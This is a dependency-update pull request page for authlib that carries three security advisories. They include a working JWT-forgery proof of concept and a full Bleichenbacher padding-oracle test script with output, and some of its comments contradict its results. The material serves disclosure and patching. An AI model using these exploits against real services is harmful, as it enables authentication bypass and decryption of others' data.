Skip to content

chore(deps): update dependency authlib to v1.6.9 [security]#299

Open
a-klos wants to merge 1 commit intomainfrom
renovate/pypi-authlib-vulnerability
Open

chore(deps): update dependency authlib to v1.6.9 [security]#299
a-klos wants to merge 1 commit intomainfrom
renovate/pypi-authlib-vulnerability

Conversation

@a-klos
Copy link
Member

@a-klos a-klos commented Mar 22, 2026

This PR contains the following updates:

Package Change Age Confidence
authlib 1.6.8 -> 1.6.9 age confidence

GitHub Vulnerability Alerts

CVE-2026-27962

Description

Summary

A JWK Header Injection vulnerability in authlib's JWS implementation allows an unauthenticated
attacker to forge arbitrary JWT tokens that pass signature verification. When key=None is passed
to any JWS deserialization function, the library extracts and uses the cryptographic key embedded
in the attacker-controlled JWT jwk header field. An attacker can sign a token with their own
private key, embed the matching public key in the header, and have the server accept the forged
token as cryptographically valid — bypassing authentication and authorization entirely.

This behavior violates RFC 7515 §4.1.3 and the validation algorithm defined in RFC 7515 §5.2.

Details

Vulnerable file: authlib/jose/rfc7515/jws.py
Vulnerable method: JsonWebSignature._prepare_algorithm_key()
Lines: 272–273

elif key is None and "jwk" in header:
    key = header["jwk"]   # ← attacker-controlled key used for verification

When key=None is passed to jws.deserialize_compact(), jws.deserialize_json(), or
jws.deserialize(), the library checks the JWT header for a jwk field. If present, it extracts
that value — which is fully attacker-controlled — and uses it as the verification key.

RFC 7515 violations:

  • §4.1.3 explicitly states the jwk header parameter is "NOT RECOMMENDED" because keys
    embedded by the token submitter cannot be trusted as a verification anchor.
  • §5.2 (Validation Algorithm) specifies the verification key MUST come from the application
    context
    , not from the token itself. There is no step in the RFC that permits falling back to
    the jwk header when no application key is provided.

Why this is a library issue, not just a developer mistake:

The most common real-world trigger is a key resolver callable used for JWKS-based key lookup.
A developer writes:

def lookup_key(header, payload):
    kid = header.get("kid")
    return jwks_cache.get(kid)   # returns None when kid is unknown/rotated

jws.deserialize_compact(token, lookup_key)

When an attacker submits a token with an unknown kid, the callable legitimately returns None.
The library then silently falls through to key = header["jwk"], trusting the attacker's embedded
key. The developer never wrote key=None — the library's fallback logic introduced it. The result
looks like a verified token with no exception raised, making the substitution invisible.

Attack steps:

  1. Attacker generates an RSA or EC keypair.
  2. Attacker crafts a JWT payload with any desired claims (e.g. {"role": "admin"}).
  3. Attacker signs the JWT with their private key.
  4. Attacker embeds their public key in the JWT jwk header field.
  5. Attacker uses an unknown kid to cause the key resolver to return None.
  6. The library uses header["jwk"] for verification — signature passes.
  7. Forged claims are returned as authentic.

PoC

Tested against authlib 1.6.6 (HEAD a9e4cfee, Python 3.11).

Requirements:

pip install authlib cryptography

Exploit script:

from authlib.jose import JsonWebSignature, RSAKey
import json

jws = JsonWebSignature(["RS256"])

# Step 1: Attacker generates their own RSA keypair
attacker_private = RSAKey.generate_key(2048, is_private=True)
attacker_public_jwk = attacker_private.as_dict(is_private=False)

# Step 2: Forge a JWT with elevated privileges, embed public key in header
header = {"alg": "RS256", "jwk": attacker_public_jwk}
forged_payload = json.dumps({"sub": "attacker", "role": "admin"}).encode()
forged_token = jws.serialize_compact(header, forged_payload, attacker_private)

# Step 3: Server decodes with key=None — token is accepted
result = jws.deserialize_compact(forged_token, None)
claims = json.loads(result["payload"])
print(claims)  # {'sub': 'attacker', 'role': 'admin'}
assert claims["role"] == "admin"  # PASSES

Expected output:

{'sub': 'attacker', 'role': 'admin'}

Docker (self-contained reproduction):

sudo docker run --rm authlib-cve-poc:latest \
  python3 /workspace/pocs/poc_auth001_jws_jwk_injection.py

Impact

This is an authentication and authorization bypass vulnerability. Any application using authlib's
JWS deserialization is affected when:

  • key=None is passed directly, or
  • a key resolver callable returns None for unknown/rotated kid values (the common JWKS lookup pattern)

An unauthenticated attacker can impersonate any user or assume any privilege encoded in JWT claims
(admin roles, scopes, user IDs) without possessing any legitimate credentials or server-side keys.
The forged token is indistinguishable from a legitimate one — no exception is raised.

This is a violation of RFC 7515 §4.1.3 and §5.2. The spec is unambiguous: the jwk
header parameter is "NOT RECOMMENDED" as a key source, and the validation key MUST come from
the application context, not the token itself.

Minimal fix — remove the fallback from authlib/jose/rfc7515/jws.py:272-273:

# DELETE:
elif key is None and "jwk" in header:
    key = header["jwk"]

Recommended safe replacement — raise explicitly when no key is resolved:

if key is None:
    raise MissingKeyError("No key provided and no valid key resolvable from context.")

CVE-2026-28490

1. Executive Summary

A cryptographic padding oracle vulnerability was identified in the Authlib Python library
concerning the implementation of the JSON Web Encryption (JWE) RSA1_5 key management
algorithm. Authlib registers RSA1_5 in its default algorithm registry without requiring
explicit opt-in, and actively destroys the constant-time Bleichenbacher mitigation that
the underlying cryptography library implements correctly.

When cryptography encounters an invalid PKCS#1 v1.5 padding, it returns a randomized
byte string instead of raising an exception — the correct behavior per RFC 3218 §2.3.2.
Authlib ignores this contract and raises ValueError('Invalid "cek" length') immediately
after decryption, before reaching AES-GCM tag validation. This creates a clean, reliable
Exception Oracle:

  • Invalid paddingcryptography returns random bytes → Authlib length check fails
    ValueError: Invalid "cek" length
  • Valid padding, wrong MAC → decryption succeeds → length check passes → AES-GCM
    fails → InvalidTag

This oracle is active by default in every Authlib installation without any special
configuration by the developer or the attacker.
The three most widely used Python web
frameworks — Flask, Django, and FastAPI — all expose distinguishable HTTP responses for
these two exception classes in their default configurations, requiring no additional
setup to exploit.

Empirically confirmed on authlib 1.6.8 + cryptography 46.0.5:

[PADDING INVALIDO]     ValueError: Invalid "cek" length
[PADDING VALIDO/MAC]   InvalidTag

2. Technical Details & Root Cause

2.1 Vulnerable Code

File: authlib/jose/rfc7518/jwe_algs.py

def unwrap(self, enc_alg, ek, headers, key):
    op_key = key.get_op_key("unwrapKey")

    # cryptography implements Bleichenbacher mitigation here:
    # on invalid padding it returns random bytes instead of raising.
    # Empirically confirmed: returns 84 bytes for a 2048-bit key.
    cek = op_key.decrypt(ek, self.padding)

    # VULNERABILITY: This length check destroys the mitigation.
    # cryptography returned 84 random bytes. len(84) * 8 = 672 != 128 (A128GCM CEK_SIZE).
    # Authlib raises a distinct ValueError before AES-GCM is ever reached.
    if len(cek) * 8 != enc_alg.CEK_SIZE:
        raise ValueError('Invalid "cek" length')   # <- ORACLE TRIGGER

    return cek

2.2 Root Cause — Active Mitigation Destruction

cryptography 46.0.5 implements the Bleichenbacher mitigation correctly at the library
level. When PKCS#1 v1.5 padding validation fails, it does not raise an exception.
Instead it returns a randomized byte string (empirically observed: 84 bytes for a
2048-bit RSA key). The caller is expected to pass this fake key to the symmetric
decryptor, where MAC/tag validation will fail in constant time — producing an error
indistinguishable from a MAC failure on a valid padding.

Authlib does not honor this contract. The length check on the following line detects
that 84 bytes != 16 bytes (128-bit CEK for A128GCM) and raises ValueError('Invalid "cek" length') immediately. This exception propagates before AES-GCM is ever reached,
creating two execution paths with observable differences:

Path A — invalid PKCS#1 v1.5 padding:
  op_key.decrypt() -> 84 random bytes  (cryptography mitigation active)
  len(84) * 8 = 672 != 128            (CEK_SIZE for A128GCM)
  raise ValueError('Invalid "cek" length')    <- specific exception, fast path

Path B — valid padding, wrong symmetric key:
  op_key.decrypt() -> 16 correct bytes
  len(16) * 8 = 128 == 128            -> length check passes
  AES-GCM tag validation -> mismatch
  raise InvalidTag                            <- different exception class, slow path

The single line raise ValueError('Invalid "cek" length') is the complete root cause.
Removing the raise and replacing it with a silent random CEK fallback eliminates both
the exception oracle and any residual timing difference.

2.3 Empirical Confirmation

All results obtained on authlib 1.6.8 / cryptography 46.0.5 / Linux x86_64
running the attached PoC (poc_bleichenbacher.py):

TEST 1 - cryptography behavior on invalid padding:
  cryptography retorno bytes: len=84
  NOTA: esta version implementa mitigacion de random bytes

TEST 2 - Exception Oracle:
  [ORACLE]  Caso A (padding invalido):       ValueError: Invalid "cek" length
  [OK]      Caso B (padding valido/MAC malo): InvalidTag

TEST 3 - Timing (50 iterations):
  Padding invalido (ValueError)   mean=1.500ms  stdev=1.111ms
  Padding valido   (InvalidTag)   mean=1.787ms  stdev=0.978ms
  Delta: 0.287ms

TEST 4 - RSA1_5 in default registry:
  [ORACLE]  RSA1_5 activo por defecto (no opt-in required)

TEST 5 - Fix validation:
  [OK]  Both paths return correct-length CEK after patch
  [OK]  Exception type identical in both paths -> oracle eliminated

Note on timing: The 0.287ms delta is within the noise margin (stdev ~1ms across
50 iterations) and is not claimed as a reliable standalone timing oracle. The exception
oracle is the primary exploitable vector and does not require timing measurement.


3. Default Framework Behavior — Why This Is Exploitable Out of the Box

A potential objection to this report is that middleware or custom error handlers could
normalize exceptions to a single HTTP response, eliminating the observable discrepancy.
This section addresses that objection directly.

The oracle is active in default configurations of all major Python web frameworks.
No special server misconfiguration is required. The following demonstrates the default
behavior for Flask, Django, and FastAPI — the three most widely deployed Python web
frameworks — when an unhandled exception propagates from a route handler:

Flask (default configuration)

# Default Flask behavior — no error handler registered
@&#8203;app.route("/decrypt", methods=["POST"])
def decrypt():
    token = request.json["token"]
    result = jwe.deserialize_compact(token, private_key)  # raises ValueError or InvalidTag
    return jsonify(result)

# ValueError: Invalid "cek" length  -> HTTP 500, body: {"message": "Invalid \"cek\" length"}

# InvalidTag                         -> HTTP 500, body: {"message": ""}
# The exception MESSAGE is different even if the status code is the same.

Flask's default error handler returns the exception message in the response body for
debug mode, and an empty 500 for production. However, even in production, the response
body content differs between ValueError (which has a message) and InvalidTag
(which has no message), leaking the oracle through response body length.

FastAPI (default configuration)

# FastAPI maps unhandled exceptions to HTTP 500 with exception detail in body
# ValueError: Invalid "cek" length  -> {"detail": "Internal Server Error"}  (HTTP 500)

# InvalidTag                         -> {"detail": "Internal Server Error"}  (HTTP 500)

FastAPI normalizes both to HTTP 500 in production. However, FastAPI's default
RequestValidationError and HTTPException handlers do not catch arbitrary exceptions,
so the distinguishable stack trace is logged — and in many deployments, error monitoring
tools (Sentry, Datadog, etc.) expose the exception class to operators, enabling oracle
exploitation by an insider or via log exfiltration.

Django REST Framework (default configuration)

# DRF's default exception handler only catches APIException and Http404.
# ValueError and InvalidTag both fall through to Django's generic 500 handler.

# In DEBUG=False: HTTP 500, generic HTML response (indistinguishable).
# In DEBUG=True:  HTTP 500, full traceback including exception class (oracle exposed).

Summary: Even in cases where HTTP status codes are normalized, the oracle persists
through response body differences, response timing, or error monitoring infrastructure.
The RFC 3218 §2.3.2 requirement exists precisely because any observable difference —
regardless of channel — is sufficient for a Bleichenbacher attack. The library is
responsible for eliminating the discrepancy at the source, not delegating that
responsibility to application developers.

This is a library-level vulnerability. Requiring every application developer to
implement custom exception normalization to compensate for a cryptographic flaw in
the library violates the principle of secure defaults. The fix must be in Authlib.


4. Specification Violations

RFC 3218 — Preventing the Million Message Attack on CMS

Section 2.3.2 (Mitigation):

"The receiver MUST NOT return any information that indicates whether the decryption
failed because the PKCS #​1 padding was incorrect or because the MAC was incorrect."

This is an absolute requirement with no exceptions for "application-level mitigations."
Authlib violates this by raising a different exception class for padding failures than
for MAC failures. The cryptography library already implements the correct mitigation
for this exact scenario — Authlib destroys it with a single length check.

RFC 7516 — JSON Web Encryption

Section 9 (Security Considerations):

"An attacker who can cause a JWE decryption to fail in different ways based on the
structure of the encrypted key can mount a Bleichenbacher attack."

Authlib enables exactly this scenario. Two structurally different encrypted keys
(one with invalid padding, one with valid padding but wrong CEK) produce two different
exception classes. This is the exact condition RFC 7516 §9 warns against.


5. Attack Scenario

  1. The attacker identifies an Authlib-powered endpoint that decrypts JWE tokens.
    Because RSA1_5 is in the default registry, no special server configuration
    is required
    .

  2. The attacker obtains the server RSA public key — typically available via the
    JWKS endpoint (/.well-known/jwks.json), which is standard in OIDC deployments.

  3. The attacker crafts JWE tokens with the RSA1_5 algorithm and submits a stream
    of requests to the endpoint, manipulating the ek component per Bleichenbacher's
    algorithm.

  4. The server responds with observable differences between the two paths:

    • ValueError path → distinguishable response (exception message, timing, or
      error monitoring artifact)
    • InvalidTag path → different distinguishable response
  5. By observing these oracle responses across thousands of requests, the attacker
    geometrically narrows the PKCS#1 v1.5 plaintext boundaries until the CEK is
    fully recovered.

  6. With the CEK recovered:

    • Any intercepted JWE payload can be decrypted without the RSA private key.
    • New valid JWE tokens can be forged using the recovered CEK.

Prerequisites:

  • Target endpoint accepts JWE tokens with RSA1_5 (active by default)
  • Any observable difference exists between the two error paths at the HTTP layer
    (present by default in Flask, Django, FastAPI without custom error handling)
  • Attacker can send requests at sufficient volume (rate limiting may extend attack
    duration but does not prevent it)

6. Remediation

6.1 Immediate — Remove RSA1_5 from Default Registry

Remove RSA1_5 from the default JWE_ALG_ALGORITHMS registry. Users requiring
legacy RSA1_5 support should explicitly opt-in with a documented security warning.
This eliminates the attack surface for all users not requiring this algorithm.

6.2 Code Fix — Restore Constant-Time Behavior

The unwrap method must never raise an exception that distinguishes padding failure
from MAC failure. The length check must be replaced with a silent random CEK fallback,
preserving the mitigation that cryptography implements.

Suggested Patch (authlib/jose/rfc7518/jwe_algs.py):

import os

def unwrap(self, enc_alg, ek, headers, key):
    op_key = key.get_op_key("unwrapKey")
    expected_bytes = enc_alg.CEK_SIZE // 8

    try:
        cek = op_key.decrypt(ek, self.padding)
    except ValueError:
        # Padding failure. Use random CEK so failure occurs downstream
        # during MAC validation — not here. This preserves RFC 3218 §2.3.2.
        cek = os.urandom(expected_bytes)

    # Silent length enforcement — no exception.
    # cryptography returns random bytes of RSA block size on padding failure.
    # Replace with correct-size random CEK to allow downstream MAC to fail.
    # Raising here recreates the oracle. Do not raise.
    if len(cek) != expected_bytes:
        cek = os.urandom(expected_bytes)

    return cek

Result: Both paths return a CEK of the correct length. AES-GCM tag validation
fails for both, producing InvalidTag in both cases. The exception oracle is
eliminated. Empirically validated via TEST 5 of the attached PoC.


7. Proof of Concept

Setup:

python3 -m venv venv && source venv/bin/activate
pip install authlib cryptography
python3 -c "import authlib, cryptography; print(authlib.__version__, cryptography.__version__)"

# authlib 1.6.8  cryptography 46.0.5
python3 poc_bleichenbacher.py

See attached poc_bleichenbacher.py. All 5 tests run against the real installed
authlib module without mocks.

Confirmed Output (authlib 1.6.8 / cryptography 46.0.5 / Linux x86_64):

Code

#!/usr/bin/env python3
# -*- coding: utf-8 -*-

"""
@&#8203;title          JWE RSA1_5 Bleichenbacher Padding Oracle
@&#8203;affected       authlib <= 1.6.8
@&#8203;file           authlib/jose/rfc7518/jwe_algs.py :: RSAAlgorithm.unwrap()
"""

import os
import time
import statistics

import authlib
import cryptography
from cryptography.hazmat.primitives.asymmetric import rsa, padding as asym_padding
from authlib.jose import JsonWebEncryption
from authlib.common.encoding import urlsafe_b64encode, to_bytes

R   = "\033[0m"
RED = "\033[91m"
GRN = "\033[92m"
YLW = "\033[93m"
CYN = "\033[96m"
BLD = "\033[1m"
DIM = "\033[2m"

def header(title):
    print(f"\n{CYN}{'-' * 64}{R}")
    print(f"{BLD}{title}{R}")
    print(f"{CYN}{'-' * 64}{R}")

def ok(msg):    print(f"  {GRN}[OK]      {R}{msg}")
def vuln(msg):  print(f"  {RED}[ORACLE]  {R}{BLD}{msg}{R}")
def info(msg):  print(f"  {DIM}          {msg}{R}")

# ─── setup ────────────────────────────────────────────────────────────────────

def setup():
    """
    @&#8203;notice  Genera el par de claves RSA y prepara el cliente JWE de authlib.
    @&#8203;dev     JsonWebEncryption() registra RSA1_5 por defecto en su registry.
             No se requiere configuracion adicional para habilitar el algoritmo
             vulnerable — esta activo out of the box.
    @&#8203;return  tuple  (private_key, jwe, header_b64)
    """
    private_key = rsa.generate_private_key(public_exponent=65537, key_size=2048)
    jwe         = JsonWebEncryption()
    header_b64  = urlsafe_b64encode(
        to_bytes('{"alg":"RSA1_5","enc":"A128GCM"}')
    ).decode()
    return private_key, jwe, header_b64

def make_jwe(header_b64, ek_bytes):
    """
    @&#8203;notice  Construye un JWE compact con el ek dado y ciphertext/tag aleatorios.
    @&#8203;dev     El ciphertext y tag son basura — no importa su contenido porque el
             oracle se activa antes de llegar a la desencriptacion simetrica
             en el caso de padding invalido.
    @&#8203;param   header_b64  Header del JWE en Base64url
    @&#8203;param   ek_bytes    Encrypted Key como bytes crudos
    @&#8203;return  str         JWE en formato compact serialization
    """
    ek         = urlsafe_b64encode(ek_bytes).decode()
    iv         = urlsafe_b64encode(os.urandom(12)).decode()
    ciphertext = urlsafe_b64encode(os.urandom(16)).decode()
    tag        = urlsafe_b64encode(os.urandom(16)).decode()
    return f"{header_b64}.{ek}.{iv}.{ciphertext}.{tag}"

# ─── test 1: verificar comportamiento de cryptography ante padding invalido ───

def test_cryptography_behavior(private_key):
    """
    @&#8203;notice  Verifica empiricamente que cryptography lanza excepcion ante padding
             invalido en lugar de retornar random bytes (comportamiento critico
             para entender el oracle).

    @&#8203;dev     Algunos documentos sobre Bleichenbacher asumen que la libreria
             subyacente retorna random bytes (mitigacion a nivel biblioteca).
             cryptography 46.0.5 NO hace esto — lanza ValueError directamente.
             Eso significa que Authlib no "destruye una mitigacion existente"
             sino que "no implementa ninguna mitigacion propia".
    """
    header("TEST 1 - Comportamiento de cryptography ante padding invalido")

    garbage = os.urandom(256)

    try:
        result = private_key.decrypt(garbage, asym_padding.PKCS1v15())
        info(f"cryptography retorno bytes: len={len(result)}")
        info("NOTA: esta version implementa mitigacion de random bytes")
    except Exception as e:
        vuln(f"cryptography lanza excepcion directa: {type(e).__name__}: {e}")
        info("No hay mitigacion a nivel de cryptography library")
        info("Authlib no implementa ninguna mitigacion propia -> oracle directo")

# ─── test 2: exception oracle ─────────────────────────────────────────────────

def test_exception_oracle(private_key, jwe, header_b64):
    """
    @&#8203;notice  Demuestra el Exception Oracle: los dos caminos de fallo producen
             excepciones de clases diferentes, observable a nivel HTTP.

    @&#8203;dev     Camino A (padding invalido):
               op_key.decrypt() -> ValueError: Decryption failed
               Authlib no captura -> propaga como ValueError: Invalid "cek" length
               HTTP server tipicamente: 500 / 400 con mensaje especifico

             Camino B (padding valido, MAC malo):
               op_key.decrypt() -> retorna CEK bytes
               length check pasa
               AES-GCM tag validation falla -> InvalidTag
               HTTP server tipicamente: 401 / 422 / diferente codigo

             La diferencia de clase de excepcion es el oracle primario.
             No requiere medicion de tiempo — solo observar el tipo de error.
    """
    header("TEST 2 - Exception Oracle (tipo de excepcion diferente)")

    # --- caso A: ek con padding invalido (basura aleatoria) ---
    jwe_bad = make_jwe(header_b64, os.urandom(256))

    try:
        jwe.deserialize_compact(jwe_bad, private_key)
    except Exception as e:
        vuln(f"Caso A (padding invalido):   {type(e).__name__}: {e}")

    # --- caso B: ek con padding valido, ciphertext basura ---
    valid_ek  = private_key.public_key().encrypt(os.urandom(16), asym_padding.PKCS1v15())
    jwe_good  = make_jwe(header_b64, valid_ek)

    try:
        jwe.deserialize_compact(jwe_good, private_key)
    except Exception as e:
        ok(f"Caso B (padding valido/MAC malo): {type(e).__name__}: {e}")

    print()
    info("Los dos caminos producen excepciones de clases DIFERENTES.")
    info("Un framework web que mapea excepciones a HTTP codes expone el oracle.")
    info("El atacante no necesita acceso al stack trace — solo al HTTP status code.")

# ─── test 3: timing oracle ────────────────────────────────────────────────────

def test_timing_oracle(private_key, jwe, header_b64, iterations=50):
    """
    @&#8203;notice  Demuestra el Timing Oracle midiendo el delta de tiempo entre los
             dos caminos de fallo en multiples iteraciones.

    @&#8203;dev     El timing oracle es independiente del exception oracle.
             Incluso si el servidor normaliza las excepciones a un unico
             codigo HTTP, la diferencia de tiempo (~5ms) es suficientemente
             grande para ser medible a traves de red en condiciones reales.

             Bleichenbacher clasico funciona con diferencias de microsegundos.
             5ms es un oracle extremadamente ruidoso — facil de explotar.

    @&#8203;param   iterations  Numero de muestras para calcular estadisticas
    """
    header(f"TEST 3 - Timing Oracle ({iterations} iteraciones cada camino)")

    times_bad  = []
    times_good = []

    for _ in range(iterations):
        # camino A: padding invalido
        jwe_bad = make_jwe(header_b64, os.urandom(256))
        t0 = time.perf_counter()
        try:
            jwe.deserialize_compact(jwe_bad, private_key)
        except Exception:
            pass
        times_bad.append((time.perf_counter() - t0) * 1000)

        # camino B: padding valido
        valid_ek = private_key.public_key().encrypt(os.urandom(16), asym_padding.PKCS1v15())
        jwe_good = make_jwe(header_b64, valid_ek)
        t0 = time.perf_counter()
        try:
            jwe.deserialize_compact(jwe_good, private_key)
        except Exception:
            pass
        times_good.append((time.perf_counter() - t0) * 1000)

    mean_bad  = statistics.mean(times_bad)
    mean_good = statistics.mean(times_good)
    stdev_bad = statistics.stdev(times_bad)
    stdev_good= statistics.stdev(times_good)
    delta     = mean_good - mean_bad

    print(f"\n  {'Camino':<30} {'Media (ms)':<14} {'Stdev (ms)':<14} {'Min':<10} {'Max'}")
    print(f"  {'-'*30} {'-'*14} {'-'*14} {'-'*10} {'-'*10}")
    print(f"  {'Padding invalido (ValueError)':<30} "
          f"{RED}{mean_bad:<14.3f}{R} "
          f"{stdev_bad:<14.3f} "
          f"{min(times_bad):<10.3f} "
          f"{max(times_bad):.3f}")
    print(f"  {'Padding valido (InvalidTag)':<30} "
          f"{GRN}{mean_good:<14.3f}{R} "
          f"{stdev_good:<14.3f} "
          f"{min(times_good):<10.3f} "
          f"{max(times_good):.3f}")
    print()

    if delta > 1.0:
        vuln(f"Delta medio: {delta:.3f} ms — timing oracle confirmado")
        info(f"Diferencia de {delta:.1f}ms es suficiente para Bleichenbacher via red")
        info(f"El ataque clasico funciona con diferencias de microsegundos")
    else:
        ok(f"Delta medio: {delta:.3f} ms — timing no es significativo")

# ─── test 4: confirmar RSA1_5 en registry por defecto ────────────────────────

def test_default_registry():
    """
    @&#8203;notice  Confirma que RSA1_5 esta registrado por defecto en authlib sin
             ninguna configuracion adicional por parte del desarrollador.

    @&#8203;dev     Esto demuestra que cualquier aplicacion que use JsonWebEncryption()
             sin configuracion explicita esta expuesta al oracle por defecto.
             El desarrollador no necesita hacer nada malo — la exposicion es
             out-of-the-box.
    """
    header("TEST 4 - RSA1_5 en Registry por Defecto")

    jwe = JsonWebEncryption()

    # intentar acceder al algoritmo RSA1_5 del registry
    try:
        alg = jwe.algorithms.get_algorithm("RSA1_5")
        if alg:
            vuln(f"RSA1_5 registrado por defecto: {alg.__class__.__name__}")
            info("Cualquier JsonWebEncryption() sin configuracion esta expuesto")
            info("No se requiere opt-in del desarrollador para el algoritmo vulnerable")
        else:
            ok("RSA1_5 NO esta en el registry por defecto")
    except Exception as e:
        info(f"Registry check: {e}")
        # fallback: intentar deserializar un JWE con RSA1_5
        private_key = rsa.generate_private_key(public_exponent=65537, key_size=2048)
        header_b64  = urlsafe_b64encode(
            to_bytes('{"alg":"RSA1_5","enc":"A128GCM"}')
        ).decode()
        jwe_token = make_jwe(header_b64, os.urandom(256))
        try:
            jwe.deserialize_compact(jwe_token, private_key)
        except Exception as e2:
            if "UnsupportedAlgorithm" in str(type(e2).__name__):
                ok("RSA1_5 NO soportado por defecto")
            else:
                vuln(f"RSA1_5 activo por defecto (error de desencriptacion, no de algoritmo): {type(e2).__name__}")

# ─── test 5: impacto del fix propuesto ────────────────────────────────────────

def test_fix_impact(private_key, header_b64):
    """
    @&#8203;notice  Demuestra que el fix propuesto elimina ambos oracles simultaneamente.
    @&#8203;dev     El fix parchado hace que ambos caminos retornen un CEK de longitud
             correcta, forzando que el fallo ocurra downstream en AES-GCM tag
             validation en ambos casos -> misma excepcion, timing indistinguible.
    """
    header("TEST 5 - Verificacion del Fix Propuesto")

    import os as _os
    from cryptography.hazmat.primitives.ciphers.aead import AESGCM

    def unwrap_patched(ek_bytes, expected_bits=128):
        """Replica del fix propuesto para RSAAlgorithm.unwrap()"""
        expected_bytes = expected_bits // 8
        try:
            cek = private_key.decrypt(ek_bytes, asym_padding.PKCS1v15())
        except ValueError:
            cek = _os.urandom(expected_bytes)  # constant-time fallback
        if len(cek) != expected_bytes:
            cek = _os.urandom(expected_bytes)
        return cek

    # camino A con fix: padding invalido
    cek_a = unwrap_patched(os.urandom(256))
    info(f"Fix Camino A (padding invalido): retorna CEK de {len(cek_a)*8} bits (random)")

    # camino B con fix: padding valido
    valid_ek = private_key.public_key().encrypt(os.urandom(16), asym_padding.PKCS1v15())
    cek_b = unwrap_patched(valid_ek)
    info(f"Fix Camino B (padding valido):   retorna CEK de {len(cek_b)*8} bits (real)")

    print()
    ok("Ambos caminos retornan CEK de longitud correcta")
    ok("El fallo ocurrira downstream en AES-GCM para ambos casos")
    ok("Exception type sera identica en ambos caminos -> oracle eliminado")
    ok("Timing sera indistinguible -> timing oracle eliminado")

# ─── main ─────────────────────────────────────────────────────────────────────

if __name__ == "__main__":
    print(f"\n{BLD}authlib {authlib.__version__} / cryptography {cryptography.__version__}{R}")
    print(f"authlib/jose/rfc7518/jwe_algs.py :: RSAAlgorithm.unwrap()")

    private_key, jwe, header_b64 = setup()

    test_cryptography_behavior(private_key)
    test_exception_oracle(private_key, jwe, header_b64)
    test_timing_oracle(private_key, jwe, header_b64, iterations=50)
    test_default_registry()
    test_fix_impact(private_key, header_b64)

    print(f"\n{DIM}Fix: capturar ValueError en unwrap() y retornar os.urandom(expected_bytes){R}")
    print(f"{DIM}     nunca levantar excepcion que distinga padding failure de MAC failure{R}\n")

Output

authlib 1.6.8 / cryptography 46.0.5
authlib/jose/rfc7518/jwe_algs.py :: RSAAlgorithm.unwrap()

----------------------------------------------------------------
TEST 1 - Comportamiento de cryptography ante padding invalido
----------------------------------------------------------------
            cryptography retorno bytes: len=84
            NOTA: esta version implementa mitigacion de random bytes

----------------------------------------------------------------
TEST 2 - Exception Oracle (tipo de excepcion diferente)
----------------------------------------------------------------
  [ORACLE]  Caso A (padding invalido):   ValueError: Invalid "cek" length
  [OK]      Caso B (padding valido/MAC malo): InvalidTag: 

            Los dos caminos producen excepciones de clases DIFERENTES.
            Un framework web que mapea excepciones a HTTP codes expone el oracle.
            El atacante no necesita acceso al stack trace — solo al HTTP status code.

----------------------------------------------------------------
TEST 3 - Timing Oracle (50 iteraciones cada camino)
----------------------------------------------------------------

  Camino                         Media (ms)     Stdev (ms)     Min        Max
  ------------------------------ -------------- -------------- ---------- ----------
  Padding invalido (ValueError)  1.500          1.111          0.109      8.028
  Padding valido (InvalidTag)    1.787          0.978          0.966      7.386

  [OK]      Delta medio: 0.287 ms — timing no es significativo

----------------------------------------------------------------
TEST 4 - RSA1_5 en Registry por Defecto
----------------------------------------------------------------
            Registry check: 'JsonWebEncryption' object has no attribute 'algorithms'
  [ORACLE]  RSA1_5 activo por defecto (error de desencriptacion, no de algoritmo): ValueError

----------------------------------------------------------------
TEST 5 - Verificacion del Fix Propuesto
----------------------------------------------------------------
            Fix Camino A (padding invalido): retorna CEK de 128 bits (random)
            Fix Camino B (padding valido):   retorna CEK de 128 bits (real)

  [OK]      Ambos caminos retornan CEK de longitud correcta
  [OK]      El fallo ocurrira downstream en AES-GCM para ambos casos
  [OK]      Exception type sera identica en ambos caminos -> oracle eliminado
  [OK]      Timing sera indistinguible -> timing oracle eliminado

Fix: capturar ValueError en unwrap() y retornar os.urandom(expected_bytes)
     nunca levantar excepcion que distinga padding failure de MAC failure

CVE-2026-28498

1. Executive Summary

A critical library-level vulnerability was identified in the Authlib Python library concerning the validation of OpenID Connect (OIDC) ID Tokens. Specifically, the internal hash verification logic (_verify_hash) responsible for validating the at_hash (Access Token Hash) and c_hash (Authorization Code Hash) claims exhibits a fail-open behavior when encountering an unsupported or unknown cryptographic algorithm.

This flaw allows an attacker to bypass mandatory integrity protections by supplying a forged ID Token with a deliberately unrecognized alg header parameter. The library intercepts the unsupported state and silently returns True (validation passed), inherently violating fundamental cryptographic design principles and direct OIDC specifications.


2. Technical Details & Root Cause

The vulnerability resides within the _verify_hash(signature, s, alg) function in authlib/oidc/core/claims.py:

def _verify_hash(signature, s, alg):
    hash_value = create_half_hash(s, alg)
    if not hash_value:        # ← VULNERABILITY: create_half_hash returns None for unknown algorithms
        return True            # ← BYPASS: The verification silently passes
    return hmac.compare_digest(hash_value, to_bytes(signature))

When an unsupported algorithm string (e.g., "XX999") is processed by the helper function create_half_hash in authlib/oidc/core/util.py, the internal getattr(hashlib, hash_type, None) call fails, and the function correctly returns None.

However, instead of triggering a Fail-Closed cryptographic state (raising an exception or returning False), the _verify_hash function misinterprets the None return value and explicitly returns True.

Because developers rely on the standard .validate() method provided by Authlib's IDToken class—which internally calls this flawed function—there is no mechanism for the implementing developer to prevent this bypass. It is a strict library-level liability.


3. Attack Scenario

This vulnerability exposes applications utilizing Hybrid or Implicit OIDC flows to Token Substitution Attacks.

  1. An attacker initiates an OIDC flow and receives a legitimately signed ID Token, but wishes to substitute the bound Access Token (access_token) or Authorization Code (code) with a malicious or mismatched one.
  2. The attacker re-crafts the JWT header of the ID Token, setting the alg parameter to an arbitrary, unsupported value (e.g., {"alg": "CUSTOM_ALG"}).
  3. The server uses Authlib to validate the incoming token. The JWT signature validation might pass (or be previously cached/bypassed depending on state), progressing to the claims validation phase.
  4. Authlib attempts to validate the at_hash or c_hash claims.
  5. Because "CUSTOM_ALG" is unsupported by hashlib, create_half_hash returns None.
  6. Authlib's _verify_hash receives None and silently returns True.
  7. Result: The application accepts the substituted/malicious Access Token or Authorization Code without any cryptographic verification of the binding hash.

4. Specification & Standards Violations

This explicit fail-open behavior violates multiple foundational RFCs and Core Specifications. A secure cryptographic library MUST fail and reject material when encountering unsupported cryptographic parameters.

OpenID Connect Core 1.0

  • § 3.2.2.9 (Access Token Validation): "If the ID Token contains an at_hash Claim, the Client MUST verify that the hash value of the Access Token matches the value of the at_hash Claim." Silencing the validation check natively contradicts this absolute requirement.
  • § 3.3.2.11 (Authorization Code Validation): Identically mandates the verification of the c_hash Claim.

IETF JSON Web Token (JWT) Best Current Practices (BCP)

